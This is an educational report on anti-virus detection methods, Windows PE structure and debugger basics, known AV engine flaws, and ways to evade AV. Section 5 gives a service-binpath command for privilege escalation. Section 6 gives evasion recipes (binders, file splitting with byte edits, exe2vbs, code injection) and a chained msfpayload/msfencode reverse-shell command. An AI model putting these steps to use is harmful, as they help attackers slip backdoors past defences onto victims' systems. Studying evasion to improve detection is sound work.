Anti-Virus Mechanism and Anti-Virus Bypassing Techniques

1. Introduction

Anti-virus software has in true sense evolved a lot in these years. Time has gone where there

were anti-virus software which used to detect the malwares or viruses based on scanning the

executable hex`s dump and finding an appropriate string (also called as String based

detection). Nowadays, more and more advanced technologies are been incorporated in

detecting malwares for example, advanced heuristics, signature and its variants based,

sandboxing, behavioral based approach etc. Now many AV not only offers deep scan option

which scans almost all files stored in secondary memory but also scans offsets in the memory

(also called as opcodes).

But, if we look at the real-time statistics by Bit Defender AV[1]

, we can come to know that

each hour there are new malwares and viruses reported. This is shown in the figure below.

Figure [1] Real-time virus reporting (Dated: 29/09/13)

From the stats above one may have a question rising in their mind that nowadays the AVs

scans each and every files even that present in the opcodes of the memory then why there is

drastic spread of malwares as compared to last decade?

The answer to these is that very smart people whom we call Crackers/Hackers have found the

way to bypass these AVs.

They know the very detail about how the AV works and which AV have which type of

detection capabilities for example if it scans based on string detection or if it scans based on

sandboxing approach.

We sometimes fail to remember that they (Crackers and Hackers) too have AV scanners from

which they may scan their newly developed malware and viruses and can easily spread via

plethora of medium, mostly the Internet. Below is the snapshot of a Virus scanning portal[2]

which has almost 45 scan engines to detect if the file consists of executable code.

Figure [2] Online file scanner having almost 45 different scan engines

Crackers and Hackers also have easy access to various debuggers and dissemblers in which

they may change their developed code to bypass some specific targeted AV.

This report throws light on the way the AVs work along with their different detection

techniques, the structure of windows executable (also called as PE structure) along with the

brief details of where the signature of any file is stored (signature which anti-virus looks for)

and finally the techniques for bypassing AVs.

2. Anti-Virus: How they work

According to Wikipedia.org Antivirus or anti-virus software is software used to prevent,

detect and remove malware (of all descriptions), such as: computer viruses, malicious BHOs,

hijackers, ransomware, keyloggers, backdoors, rootkits, trojan horses, worms, malicious

LSPs, dialers, fraudtools, adware and spyware. Computer security, including protection from

social engineering techniques, is commonly offered in products and services of antivirus

software companies.This page discusses the software used for the prevention and removal of

malware threats, rather than computer security implemented by software methods.

To prevent the viruses to enter into our machine, there are only two ways[3]

:

To isolate the system i.e. disconnecting it from the network, neither using any

CDs/DVDs nor USB drives for data transfer.

To use an AV software.

Sometimes we wonder that how an AV scans the files present on our machine and flags it as

malicious depending on the code containing that file. AV nowadays scans our system on

real-time basis, scans the file and if found it safe for the windows file loader[4]

to load then it

let the file to be copied on the hard-disk (HDD) but if the AV finds the file malicious for the

windows file loader to load then it flags it malicious(or suspicious) and waits for the user

action. Snapshot below gives its high level view.

Figure [3] High level view of AV working mechanism

We can say that an AV software is no more than program that is used for analyzing

information and then, if it finds that something is infected, it either disinfects it or waits for

the user action. Information is analyzed based on the origin of the information i.e. the source

of information. AV will operate differently when it is monitoring CDs/DVDs data transfer

operation than when monitoring internet traffic or data transfers over LAN network.

The principal of operation is all the same but there are subtle differences. The information

which is in the “source system” must reach to its “destination system”.

The information interpretation also varies depending on whether it is implemented in some

sort of operating systems or on some kind of application. This interpretation mechanism must

be specific to each operating system or the component in which the AV is going to be

implemented. For example if we are implementing the AV software for some firewall then it

is the firewall that will provide the information to the AV to scan it.

Once the information is passed to AV, the information is scanned and one of the two

possibilities takes place, they are:

The cleaned information is returned to the interpretation mechanism, which in turn

will return it to the system so that it can continue towards its final destination.

A warning is sent to the user interface. This user interface can vary greatly. In an AV

for workstations, a message can be displayed in the form of pop up message on

screen, but in server side the alert is send to the administrator`s email, an internal

network message or is sent via SMS.

Snapshot below explains whole process.

Figure [4] Complete AV working process

Source System

Interpretation of

Information

Disinfection

Scanning of

Information

Destination System

Alert

2.1 Anti-virus: Virus Detection techniques (Scan Engines)

Regardless of how the information to be scanned is obtained, the most important function of

the antivirus now comes into play: the virus scan engine. This engine scans the information it

has intercepted for viruses, and if viruses are detected, it disinfects them.

As of the methods known till now, the information is scanned as one of the five known

methods, they are as follows:

1. Signature based detection

2. Heuristic based detection

3. Sensing threat technology

4. Behavioral based detection(also called as artificial intelligence based detection)

5. Protective defense based detection

6. And Sandbox based detection

2.1.1 SIGNATURE BASED DETECTION

Signature-based detection[5]

: also referred as “scan string-based technologies” works by

scanning the contents of computer files and cross-referencing their contents with the “code

signatures” belonging to known viruses. A library of known code signatures is updated and

refreshed constantly by the anti-virus software vendor.

If a viral signature is detected, the software acts to protect the user’s system from damage.

Suspected files are typically quarantined and/or encrypted in order to render them inoperable

and useless.

Clearly there will always be new and emerging viruses with their own unique code

signatures. So once again, the anti-virus software vendor works constantly to assess and

assimilate new signature-based detection data as it becomes available, often in real time so

that updates can be pushed out to users immediately and zero-day vulnerabilities can be

avoided.

AV program searches within given files for the presence of certain strings (also only in

certain regions).If these predefined strings are found, then antivirus report A Threat has been

detected.

Next-generation signature-based detection: New variants of computer virus are of course

developed every day and security companies now work to also protect users from malware

that attempts to disguise itself from traditional signature-based detection. Virus authors have

tried to avoid their malicious code being detected by writing “oligomorphic“, “polymorphic”

and more recently “metamorphic” viruses with signatures that are either disguised or changed

from those that might be held in a signature directory.

2.1.2 HEURISTIC BASED DETECTION

Heuristic based detection[6]

: It is used to detect new, unknown viruses in your system that

has not yet been identified. Only some antiviruses can do this type of scan, the majority are

only able to detect known viruses.

Virus detection is based on recognition of a signature or string of code which identifies a

certain virus. Similar to how investigators use characteristics to identify criminals;

antiviruses look for ‘digital footprints’ in order to recognize a virus.

Nevertheless, to detect an unknown virus, a particular signature or recognized code does not

yet exist. For this reason a heuristic scan is used. Heuristic methods are based on the piece-

by-piece examination of a virus, looking for a sequence or sequences of instructions that

differentiate the virus from ‘normal’ programs.

The first heuristic engines were introduced to detect DOS viruses in 1989.Heuristic (hyu-'ris-

tik) is an adjective for methods that help in problem solving.

These program searches instructions or commands within a file that are not found in typical

good application programs. As a result, a heuristic engine is able to detect potentially

malicious files and report them as a virus.

Such AV might also emulate running the file to see what it would do if executed, attempting

to do this without noticeably slowing down the system. A single suspicious attribute might

not be enough to flag the file as malicious. However, several such characteristics might

exceed the expected risk threshold, leading the AV to classify the file as malware. The

biggest downside of heuristics is it can inadvertently flag legitimate files as malicious.

2.1.3 SENSING THREAT TECHNOLOGY

Threat sense technology: In past when a virus was released it was detected by antivirus

experts after 15-30 days. Till then virus had done enough damage to millions of users like “I

love you worm”. Thus as a result AV experts started using Threat Sense Technology.

In this technology , when a certain files does specious activity in computer, AV program

doesn’t perform any action and keep eye on that file. Next, when you update your AV these

files are send to security experts of that AV that you are using. They analyze the file; if it is a

virus then they create its signatures. By this a virus is caught within couple of days.

2.1.4 BEHAVIOURAL BASED DETECTION

Behavioral detection: It observes how the program executes, rather than merely emulating

its execution. This approach attempts to identify malware by looking for suspicious

behaviors, such as unpacking of malcode, modifying the hosts file or observing keystrokes.

Noticing such actions allows an antivirus tool to detect the presence of previously unseen

malware on the protected system. As with heuristics, each of these actions by itself might not

be sufficient to classify the program as malware. However, taken together, they could be

indicative of a malicious program. The use of behavioral techniques brings antivirus tools

closer to the category of host intrusion prevention systems (HIPS), which have traditionally

existed as a separate product category.

In short, such AV monitors your computer activities. If any dangerous or specious activity

occurred by a file then it informs user and give some option to perform certain action. Now

user has to take decision that is it a virus file or helpful file. Sometimes, if user takes wrong

decision then the software which is reported by AV gets corrupted.

2.1.5 PROTECTIVE BASED DETECTION

Protective based detection: It was first used by Kaspersky. When a program or process gets

executed, “Proactive Defense” tells the user about the activity of the program and asks it to

allow or Block.

The Most advanced Proactive Defense is provided by Comodo Internet Security.

2.1.6 SANDBOX BASED DETECTION

Sandbox based detection[7]

: The term “sandbox” in computing means an isolated

computing environment used by software developers to test new programming code.

AV nowadays employs this technique effectively, it first isolate the files which are to be

scanned and monitors its behavior for certain amount of time for example 2-3 seconds, when

AV finds that the file is not malicious then only it allows that file to be copied on the

destination location.

3. PE Portable Executable: A look

When we execute any .exe file, do we think that how actually the structure of any executable

file is under windows environment. This structure is looked by AVs effectively in order to

scan for the signature that is present in that executable file. And if the signature is found to be

present in the AV database then it flags as malicious and either deletes it or waits for the user

to take some action.

Before we start into the details of PE we must know what PE actually is. According to

Wikipedia.org,

“The Portable Executable (PE) format is a file format for executables, object code and DLLs,

used in 32-bit and 64-bit versions of Windows operating systems. The term "portable" refers

to the format's versatility in numerous environments of operating system software

architecture. The PE format is a data structure that encapsulates the information necessary for

the Windows OS loader to manage the wrapped executable code. This includes dynamic

library references for linking, API export and import tables, resource management data and

thread-local storage (TLS) data. On NT operating systems, the PE format is used for EXE,

DLL, SYS (device driver), and other file types. The Extensible Firmware Interface (EFI)

specification states that PE is the standard executable format in EFI environments.”

PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in

Windows development.

Now without further ado, let’s jump into the basic outline structure of PE, structure for all

executable under windows environment[8]

. Below is the snapshot of the PE structure.

Figure [5] PE File structure

The above picture is the general layout of a PE file. All PE files (even 32-bit DLLs) must

start with a simple DOS MZ header. We usually aren't interested in this structure much. It's

provided in the case when the program is run from DOS, so DOS can recognize it as a valid

executable and can thus run the DOS stub which is stored next to the MZ header. The DOS

stub is actually a valid EXE that is executed in case the operating system doesn't know about

PE file format. It can simply display a string like "This is not a valid Win32 application" or it

can be a full-blown DOS program depending on the intent of the programmer.

We are also not very interested in DOS stub: it's usually provided by the assembler/compiler.

In most case, it simply uses int 21h, service 9 to print a string saying "This program cannot

run in DOS mode".

After the DOS stub comes the PE Signature and PE header. The PE header is a general term

for the PE-related structure named IMAGE_NT_HEADERS. This structure contains many

essential fields that are used by the PE loader. We will be quite familiar with it as you know

more about PE file format.

In the case the program is executed in the operating system that knows about PE file format,

the PE loader can find the starting offset of the PE header from the DOS MZ header. Thus it

can skip the DOS stub and go directly to the PE header which is the real file header.

The real content of the PE file is divided into blocks called sections. A section is nothing

more than a block of data with common attributes such as code/data, read/write etc. You can

think of a PE file as a logical disk.

The PE header is the boot sector and the sections are files in the disk. The files can have

different attributes such as read-only, system, hidden, archive and so on.

It shall be clear from this point onwards that the grouping of data into a section is done on

the common attribute basis: not on logical basis. It doesn't matter how the code/data are

used , if the data/code in the PE file have the same attribute, they can be lumped together in a

section. You should not think of a section as "data", "code" or some other logical concepts:

sections can contain both code and data provided that they have the same attribute. If you

have a block of data that you want to be read-only, you can put that data in the section that is

marked as read-only. When the PE loader maps the sections into memory, it examines the

attributes of the sections and gives the memory block occupied by the sections the indicated

attributes.

If we view the PE file format as a logical disk, the PE header as the boot sector and the

sections as files, we still don't have enough information to find out where the files reside on

the disk, i.e. we haven't discussed the directory equivalent of the PE file format. Immediately

following the PE header is the section table which is an array of structures.

Each structure contains the information about each section in the PE file such as its attribute,

the file offset, and virtual offset. If there are 5 sections in the PE file, there will be exactly 5

members in this structure array. We can then view the section table as the root directory of

the logical disk. Each member of the array is equivalent to the each directory entry in the root

directory.

That's all about the physical layout of the PE file format. Below are the major steps in

loading a PE file into memory below:

When the PE file (i.e. executable) is run, the PE loader examines the DOS MZ header

for the offset of the PE header. If found, it skips to the PE header.

The PE loader checks if the PE header is valid. If so, it goes to the end of the PE

header.

Immediately following the PE header is the section table. The PE header reads

information about the sections and maps those sections into memory using file

mapping. It also gives each section the attributes as specified in the section table.

After the PE file is mapped into memory, the PE loader concerns itself with the

logical parts of the PE file, such as the import table.

3.1 PE Sections[9]

: Explained!!

Below is the list of each section of PE structure which is briefly explained.

The sections that are most commonly present in an executable (depends on the compiler used

or debugger used to analyze the executable) are:

Executable Code Section, named “.text” (Microsoft) or “.txt” (olydbg) or CODE

(Borland)

Data Sections, named “.data”, “.rdata”, or “.bss” (Microsoft) or DATA (Borland)

Resources Section, named “.rsrc”

Export Data Section, named “.edata”

Import Data Section, named “.idata”

Debug Information Section, named “.debug”

Note: Structure of a PE(portable executable) file on disk is exactly the same as when it is

loaded into memory so if you can locate info in the file on disk you will be able to find it

when the file is loaded into memory.

However it is not copied exactly into memory. The windows loader decides which parts need

mapping-in and which parts has to be omitted. Data that is not mapped-in is placed at the end

of the file past any parts that will be mapped-in e.g. Debug information.

Let`s understand the meaning of all sections:

1. Executable Code Section:

In Windows, all code segments reside in a single section called .text or .txt or CODE. Since

Windows uses a page-based virtual memory management system, having one large code

section is easier to manage for both the operating system and the application developer. This

section also contains the entry point(EP) and the jump thunk table (where present) which

points to the IAT.

Note:

EP is the entry point from where the code section starts in obfuscated exe file.

Jump thunk table : contains all the jump addresses and references.

IAT: It stands for import address table, this is a table of function pointers filled in by

the windows loader as the dlls are loaded. I will post a complete tutorial for Import

address table because it’s a very important concept. For now just take it as table

containing function pointers.

2. Data Section:

The .bss section represents uninitialized data for the application, including all variables

declared as static within a function or source module.

The .rdata section represents read-only data, such as literal strings, constants, and debug

directory information. All other variables (except automatic variables, which appear on the

stack) are stored in the .data section. These are application or module global variables.

3. Resource Section:

The .rsrc section contains resource information for a module. There are many resource

editors available today which allows editing, adding, deleting, replacing and copying

resources.

4. Export Data Section:

The .edata section contains the Export Directory for an application or DLL. When present,

this section contains information about the names and addresses of exported functions.

5. Import Data Section:

The .idata section contains various information about imported functions including the

Import Directory and Import Address Table. The import section contains information about

all the functions imported by the executable from DLLs. This information is stored in

several data structures. The most important of these are the Import Directory and the Import

Address.

The Windows loader is responsible for loading all of the DLLs that the application uses and

mapping them into the process address space. It has to find the addresses of all the imported

functions in their various DLLs and make them available for the executable being loaded.

6. Debug Information Section:

Debug information is initially placed in the .debug section. The PE file format also supports

separate debug files (normally identified with a .DBG extension) as a means of collecting

debug information in a central location. The debug section contains the debug information,

but the debug directories live in the .rdata section mentioned earlier. Each of those

directories references debug information in the .debug section.

7. Base Relocation Section:

Last but not the least and most important section for Crackers and Hackers perspective.

When the linker creates an EXE file, it makes an assumption about where the file will be

mapped into memory. Based on this, the linker puts the real addresses of code and data items

into the executable file. If for whatever reason the executable ends up being loaded

somewhere else in the virtual address space, the addresses the linker plugged into the image

are wrong. The information stored in the .reloc section allows the PE loader to fix these

addresses in the loaded image so that they're correct again. On the other hand, if the loader

was able to load the file at the base address assumed by the linker, the .reloc section data isn't

needed and is ignored.

3.2 Partial look of PE header with olly debugger

Below is a snapshot taken from Olly debugger[10]

, Crackers and Hackers use such debuggers

to tweak their code and change their behavior to bypass AV.

Figure [6] Partial View of PE header in Olly Debugger

3.3 Signatures stored in file which AV looks for.

Finding the signature that the Anti-Virus[10:1]

application looks for, isn’t that hard if an old

technique is used which is performed by splitting the file into several files and then scanning

each file to see which one of them contains the signature.

Sometimes the signature is pretty easy to find, e.g. in case ncx99.exe is used. This is a simple

netcat listener, which binds cmd.exe to port 99 on the global network interface. In the picture

below from offset E77E to offset E78F is the main signature located. Crackers and Hackers

may use many binders or packagers that are available on internet one of the most widely used

packager is UPX[11]

.

Furthermore, the signature is located in the idata section in this case. This means that if we

would try to encode the entire “idata” (refer the PE structure above) section, then our

executable file might not work at all!

Therefore Crackers and Hackers try to edit a part of this, or encode only the signature to

avoid AV detection.

Snapshot below shows the hex dump of ncx99.exe.

Figure [7] Hex dump of ncx99.exe

3.4 Olly Basics: Exploring executable with olly debugger

Although not really necessary but some basic information of debugger such as Olly debugger

is required to understand how the executable is loaded into memory. Moreover elite Hackers

and Crackers already know this stuff and use their knowledge to bypass AVs.

Olly debug, often called "Olly" is Ring3 debugger. It means that olly works at windows

application level, but still can control other applications. In human language: with this

magnificent tool, we can find "bugs" in a program.

Snapshot below shows some the executable opened with olly debugger.

Figure [8] Olly basics, exploring an executable.

As we can see that some executable is opened in debugger but this seems quite “weird” at the

first look. To make the task easy, we have numbered different sections and below are its

details:

1. As you can see the codes at extremely left pane like 0040100 etc. are the Virtual

Memory addresses numbers. These address shows those portion of the Virtual

memory which is used to load the program and may change when we open it the

second time as at that time windows might have opened our executable by loading it

from different memory address.

2. The codes shown after the extreme left pane as 6F21400,03,00 etc. are called as

opcodes. These are those codes that our computer can actually understand.

3. These are the assembler mnemonics, which we humans can understand. These gets

converted into the opcodes as shown in (2) in the snapshot.

4. This pane is that which Olly has generated by commenting the code. This makes our

life easier as we can understand the code through it.

5. These are the registers which can hold some value into its memory. Registers have

different sizes depending upon its nature i.e. whether its 64 bit register or 32 bit

register.

6. This is the pane where the Hex dump of our executable is shown.

7. Two bytes like 55 79 constitute a word (2Bytes == 1word) .

8. Four bytes as shown like 79204000 (opcode) constitutes a Dword (4Bytes ==

1Dword).

9. This panel contains windows stack memory information.

10. As shown 1 byte equals to 8 bits.

11. This is the executing panel. Here we can see the current executing instructions.

Assembly Information:

In today’s average wintel CPU you have 9 32bit registers (w/o flag registers) Their names

are:

eax: Extended Accumulator Register

ebx: Extended Base Resgister

ecx: Extended Counter Register

edx: Extended Data Register

esi: Extended Source Index

edi: Extended Destination Index

ebp: Extended Base Pointer

esp: Extended Stack Pointer

eip: Extended Instruction Pointer

Generally the size of those registers is 32bit (==4 bytes). They can hold data from 0-

FFFFFFFF (unsigned). In the beginning most registers had certain main functions which the

names imply, like ECX = Counter, but these days we can nearly use whichever register we

like for a counter.

There is one more thing we have to know about registers: although they are all 32 bit large,

some parts of them (16 bit or even 8 bit) cannot be addresses directly.

Accessible registers are as follows:

32 Bit 16 Bit 8 Bit

EAX AX AH/AL

EBX BX BH/BL

ECX CX CH/CL

EDX DX DH/DL

ESI SI

EDI DI

EBP BP

ESP SP

EIP IP

Table [1] Windows Registers

For example: EDX == 7C90EB94, DX == EB94, DH == EB and DL == 94.

Similarly we also have 64 bit registers as well. Here we have not discussed those registers.

The purpose of such information given is because the very smart people i.e. Crackers and

Hackers already knows this information in great detail and thus they can modify their code in

such debugger to bypass the AVs detection.

4. Do your Anti-virus really protect you?

Below given are the audit results

[12] in the great detail which shows the vulnerabilities in

some of the famous AV software.

Before getting into the technical stuff lets first understand some basic terms that are related to

the results given below.

LHA: This refers to the file format. A file with the LHA file extension is a Compressed

Archive file. LHA files can be opened with any popular compression/decompression

program, the free 7-Zip tool being one example. Any of these types of programs will

decompress (extract) the contents of a LHA file, as well as create new LHA compressed

files.

ARJ Header[13]

: The ARJ program by Robert K. Jung is a "newcomer" which compares well

to PKZip and LhArc (LHA) in both compression and speed. An ARJ archive contains two

types of header blocks, one archive main header at the head of the archive and local file

headers before each archived file.

UPX[14]

: It is one of the ultimate packers (wrapper) for executables. It is basically executable

file compression and decompression utility that supports many executable file formats.

Audit Results that shows Vulnerabilities in AVs[15]

:

AVs Audit Results

Symantec

• Unchecked offset reconstructing UPX PE

header

• Can be triggered by providing a negative

offset to

prior heap chunk containing MZ header with

crafted PE header

• Heap overflow with no character

restrictions

McAfee

• Improperly checked file name and path

strlen in LHA level 1 header

• Signature in .dat to detect for malformed

LHA file

• Can be triggered my supplying a malformed

LHA file, that also conforms to the PECOFF

format

• Stack overflow with ascii character

restrictions

TrendMicro • Improperly checked filename strlen in ARJ

header

• Doesn’t overflow the next chunk’s header,

but does corrupt various pointers, which

results in the address of the filename being

written to an

arbitrary destination

• Kernel Heap overflow with ascii character

restrictions

FSecure

• Improperly checked filename strlen in ARJ

header

• Standard heap overflow with ascii character

restrictions

Table [2] Audit results of AVs

5. Vulnerabilities in AVs

Mostly there are 4 types of vulnerabilities

[16] which is seen in any AV. They are as follows:

1. Management (Administrative) interface

2. Engine-based

3. ActiveX-related

4. LPE (Local Privilege Escalation)

Management interface:

Client/Server management

Most C/S-based management protocols are proprietary, which means, no RFC or

documents are available. It will be difficult to understand what the Client and Server

are talking about by capturing packets. The traffic might look quite random or might

be encrypted in some way.

Fuzzing is a good choice in this situation. Spike[17]

and Sully[18]

are two great fuzzing

frameworks. For more information, please check the reference.

Web interface

Since most Web servers for management are developed in-house by antivirus

vendors, they may not be well audited and analyzed. Fuzzing is always useful and

worth trying. There are lots of web fuzzers publicly available, such as webfuzz[19]

,

Spike and Sulley.

Engine-Based:

The engine is the most complex component of antivirus software thus auditing the engine

would be tough.

Basically there are three ways of auditing:

Source code audit

As the name suggests, to audit the source code, auditors need access to the source

code of the antivirus software. However, for security researchers, most source code is

unavailable, except ClamAV[20]

.

Reverse engineering

Since most commercial antivirus solutions are closed-source, source-code audit are

almost impossible for researchers. Reverse engineering is one of the best choices.

Researchers can analyze the assembly code directly and look for potential

vulnerabilities. While reverse engineering an antivirus software engine, the target

should be focused on the component responsible for parsing all kinds of file formats.

Fuzzing

Fuzzing is an amazing technique, and it has accelerated software security a lot in the

past few years. Researchers have already presented fuzzing media players, fuzzing

server applications, fuzzing web browsers, and published lots of fuzzers. However,

few people had ever talked about fuzzing antivirus software.

ActiveX-related:

Auditing ActiveX issues of antivirus software is no different from auditing them for other

applications. It can be done either through fuzzing or through manual auditing:

Fuzzing

ActiveX-based vulnerabilities became more prevalent in 2007 than ever. This was

partially caused by the prevalence of ActiveX fuzzers. Two popular tools in this area

are AxMan [21]

and ComRadier [22]

. AxMan is more powerful, while ComRadier is

more user-friendly.

After installing antivirus software, the specific ActiveX control can be fuzzed by

either choosing a single CLSID or specifying a directory.

Manual auditing

While fuzzing can uncover lots of memory corruption problems, a manual audit can

reveal some other interesting vulnerabilities at the design level.

LPE (Local privilege escalation):

Weak DACL

Auditing weak DACL issues is one of the easiest things, sometimes it can be done

manually without the help of any tools.

To check whether an antivirus installation directory (files) is vulnerable to this issue,

you just need to right click on the directory (files) and navigate to the “security” tag.

If the "Everyone" group has a "full control” permission, then probably it`s a brand

new local root vulnerability! Checking the ACL of services is a little bit different

from the installation directory. It can be done by using sc.exe[23]

from Microsoft, and

the specific approach goes like this:

Login as a non-privilege user, and run the following commands, if error #5 does not

appear, Congratulations!

"Antivirus service” is the name of the service the attacker want to exploit, and

“C:\sc config "antivirus service" binpath= D:\attack\attack.exe”

binpath is a binary file (could be a Trojan, rootkit, or anything) under the attacker's

control. After running this command, the attacker might have successfully changed

the binary path of a Windows service, which will result in the attacker’s own binary

being launched as an elevated privilege (usually SYSTEM privilege).

6. Caution!! Bypassing AV detection mechanism techniques.

Now some of the techniques are been discussed which can bypass AVs. Crackers and

Hackers might target any specific AV to bypass their detection. Hackers and spammers

actively use various techniques to bypass the AV protection to install virus, backdoors, bots

etc. in the target computers.

Here in this report those techniques are been discussed with their POC. Below is the list of

the various techniques, they are:

1. Using binders and packers

2. Using splitters

3. Code conversion from EXE to client side scripts

4. Obfuscation of code to evade antivirus detection mechanism

5. Using Metasploit framework to encode payloads

6. Code or DLL injection

6.1 Using binders and packers

Binders:

Binders are used to bind two or more than two EXE files to one single EXE file. It usually

binds other EXE files to itself and generates a new binary. For example the original size of

the Binder file is 20 KB and the size of the EXE to be attached is 35 KB then the final size

of the new EXE generated will be 20 KB + 35 KB = 55 KB. Snapshot is given below which

clears the concept.

Figure [9] Working of EXE binder

From the above figure, the Binder (File A) binds the malicious code binary (File B) to the

end-of-file (EOF). This creates another EXE (File C) which combines both File A and File

B. Now on executing File C, the file read offset sets at 20 KB and read for rest 35KB to

extracts the original malicious code binary (File B).

This is how viruses or worms can be hidden using binders and can get pass undetected by all

anti-virus products. Since, the original signature of the malicious code gets shifted to a

different offset in the newly generated binary which is can easily evade any static anti-virus

products. Few good binders available on internet are Infector v2, Exe-Maker, Exe-Joiner,

Trojan Man, Elitewrap and TOP.

Note: The technique just discussed above is not full proof. AV has evolved a lot and usually

has all this signatures present in their database. For example if you bind some sort of

malicious EXE to some legitimate EXE through some packager then usually the signature of

that packager is present in that AV and when it scans the final binded EXE then it flags as

malicious.

One way to get successfully bypass AV is to code your own custom binder. Obviously the

signature of your custom coded binder will not be present in the AVs database and thus can

get easily bypassed.

Packers (Compressor):

Packers works very similar to the way binders works but the only difference between them

is in case of packers the malicious binary is compressed before it gets embedded to the

packer’s binary to generate the final EXE. This makes any antivirus product helpless in

detecting the compressed malicious binaries since, the signature changes because of the

compression.

Few good packers available on internet are UPX, Shrinker, PKlite, AS-pack, Petite, and

WWpack. Again the same problem arises as that of binders explained above. These are not

used now days as all the AVs have signatures of these packers present in their database.

Let’s see how an AV detects the malicious executable even though it is packed with a packer

(Here we use UPX packer ).

For example:

Pack any malicious file with UPX (a freeware packer) and then test again with AV. You

should see that your AV is again popping up the alert describing that file as a malicious one.

But our file was packed how AV still know that it is a malicious file and the answer is AV

has also signature for UPX, so what AV is doing it loads the file detect the packer then

decrypt/unpack(AV also know how to unpack UPX packed files) the file and then test the

file, And this is the reason that AV still know that file is malicious.

Proof that AV is doing all this to test file.

Open the same packed file in a hex editor and just overwrite the starting bytes with some

garbage values and then again test it with your AV. Now you should see that AV is saying

that file is clean (Reason: Because file is corrupted and AV have no option to

unpack/decrypt it)

6.2 Using Splitters to evade detection

Using the splitters also might play the game. Its working is completely opposite to that of

working of binders. Here the executable file is split into many small chunk size of file and

then they are joined at the target end. We shall remember that there must be the same

software at the target end to join the split files.

But unfortunately, this technique also gets detected in AVs. One way to bypass the AV with

this technique is shown below:

Split the file into some small sized file with any splitter available on internet (hj-split for

windows is preferred). This is shown in the snapshot below.

Figure [10] File splitted with hj-split utility

Now open those split files in any hex editor and change the code of the starting lines to “0”s.

Here we will open simple2.exe.007 file in hex editor and change its code. Snapshot is given

below.

Figure [11] Changing contents of file in hex editor

Again scan that small file. If it is not detected as malicious then it is ok but if it is detected as

malicious by AV then again split that file and perform the same thing as mentioned above.

Do this for all such splitted files till AV flags that file as a legitimate file.

Now, join those file in the same order in which they were split. And scan that complete file,

you will noticed that you have successfully bypassed AV detection.

The problem with this technique is that the final executable file may not work correctly as

large amount of the source code was being tempered. But there are time when it work

flawlessly.

6.3 Code conversion from exe to client side scripts

There are techniques which can be used to convert an executable or any other file types (like

.pif or .scr) into vbs file and on execution of the vbs file the hidden binary will get executed

automatically. This can aid to malicious users to spread the malicious programs across

internet which can get past various anti-virus gateways undetected.

We take NetBus as a sample malicious binary to hide inside a vbs file. Below given is the

snapshot where the “NetBus-Server.exe” is converted into a vbs file called "game.vbs" using

a program called exe2vbs converter (by z0mbie). On execution of the vb script file, it will

create an executable.

Figure [12] exe2vbs Utility

Signature of the malicious binary is different after the conversion, it can get bypass any AV

product undetected. But again this technique is not full proof and many AV detects it as

malicious file.

6.4 Code obfuscation

Code obfuscation is a process where the binary of the malicious program undergoes various

transformations (Ex Code Morphing) which are undetected by anti-virus products. There are

various kinds of code obfuscation techniques like polymorphism, metamorphism etc but in

this section; We shall discuss about a technique called "Code Morphing" which prevents

anti-virus from detecting malicious patterns in the binaries.

In case of "Code Morphing", the malicious code is encrypted and a small routine is

embedded to decrypt the code before running the malicious code. This kind of code

obfuscation undergoes several transformations which are nondeterministic and destroys the

visible logical code structure and hence it not only prevent detection by anti-viruses but also

prevents disassembling or debugging by tools like SoftIce and IDAPro etc. One such tool

called "AxCrypt" utility does this kind of code obfuscation.

6.5 Using Metasploit framework to encode payloads

Here we use the widely used linux distro for penetration testing, The Backtrack OS.

Inside BT there is a framework designed especially for pentest purpose called as metasploit

framework. One can also use metasploit tools such as “msfencode” and “msfcli” for

bypassing AVs.

Here encoding of code is done instead of encrypting it. We must take care of the term

“encoding” and “encryption”. The purpose of encoding is to transform data so that it can be

properly (and safely) consumed by a different type of system, e.g. binary data being sent

over email, or viewing special characters on a web page. The goal is not to keep information

secret, but rather to ensure that it's able to be properly consumed.

Encoding transforms data into another format using a scheme that is publicly available so

that it can easily be reversed. It does not require a key as the only thing required to decode it

is the algorithm that was used to encode it.

One can easily create payloads in the form of malware and encode it through msfencode

utility provided in the metasploit framework. One of the typical command to generate

undetectable payload is as follows:

#./msfpayload windows/meterpreter/reverse_tcp LHOST=<I.P.> LPORT=<PORT No.> R

| ./msfencode –e x86/shikata_ga_nai –c 5 | ./msfencode -2 x86/alpha_upper –c 2 |

./msfencode –e x86/shikata_ga_nai –c 5 –t exe –o /root/game.exe

We can find much of the information to this on internet.

Note: One can use variations of the encoding algorithms to make malware totally

undetectable.

6.6 Using Code/DLL injection to bypass AV[24]

This may be one of the stealthiest techniques to bypass any AV detection of virus till the

date of writing. Generally DLL/Code injection refers to the process of injecting either code

or dll into the virtual memory space of some other process.

As a result one can trick the AV into believing that the code of the malware (trojan) is the

legitimate code triggered by legitimate process under windows environment.

Here we are using a tool named “Injector” to inject our code into any other process.

The Concept of Injector (Ingeneric way to bypass AV):

Because exe files are going to detected by AVs( at least if you pack them with the publicly

exposed packers/encryptors). So we have to think in a another way.

And the another way is: split the exe into two parts (not physically)

The core code (the actual code that performs a specific task for eg. Bind shell)

The interface – a mechanism that will inject the code into memory and execute that

code.

So the functioning is something like this:

Figure [13] Code Injection process

Note that from the above explanation we know that shellcode/code into a file is not going to

be detected by AV because AV don’t know how to decode shellcode.

Important Note: you may be thinking that why the encoded shellcode? because if we use

metasploit shellcodes there signatures may be in AVs. If you encode the shellcode with any

available encoder in metasploit then AVs not able to decode it in a file and not able to detect

it.

Second part of the concept is the interface that will inject the code into a process. Code

injection is not a new concept (dll injection is one of the most popular example).

Note: All the things are generic and are not specific to any tool or shellcodes. Metasploit and

shellcodes are used only to demonstrate the concept. You can also inject your codes "that are

detectable to AV in exe mode" with this method and can bypass AV.

Things that you can do with this method:

Backdoor a process

Provide many backup shells (every type)

7. Conclusion and Future Work

This report briefly discusses How AV really works, Structure of executable as seen by

Windows environment, vulnerabilities in AV software and the exploitation techniques. We

are not telling that antivirus is useless. Nor are we suggesting a replacement product. We

only want to draw attention to the fact that the vulnerabilities of antivirus software are being

a real threat.

The security of antivirus software draws our attention to security products such as firewalls,

IPS, IDS, and others. Security products are supposed to protect users, what if they fail? What

if they just open a new door for attackers in your system?

Future work shall focus on this aspect of ‘security’ products.

8. References

1) Real time virus reporting

http://bitdefender.com/resourcecenter/real-time-reporting

2) Online malware and spyware scanning portal: virus total

http://www.virustotal.com

3) Two ways to prevent viruses entering your computer.

http://www.net-security.org/article.php?id=485&p=1

4) A whitepaper on Injector Mask or a Tool, 2010 by Amit Malik

5) Signature based scanning.

http://blogs.avg.com/business/signature-based-detection/

6) Heuristic based scanning

http://techinicalplanet.blogspot.in/2013/02/antivirus-mechanism.html

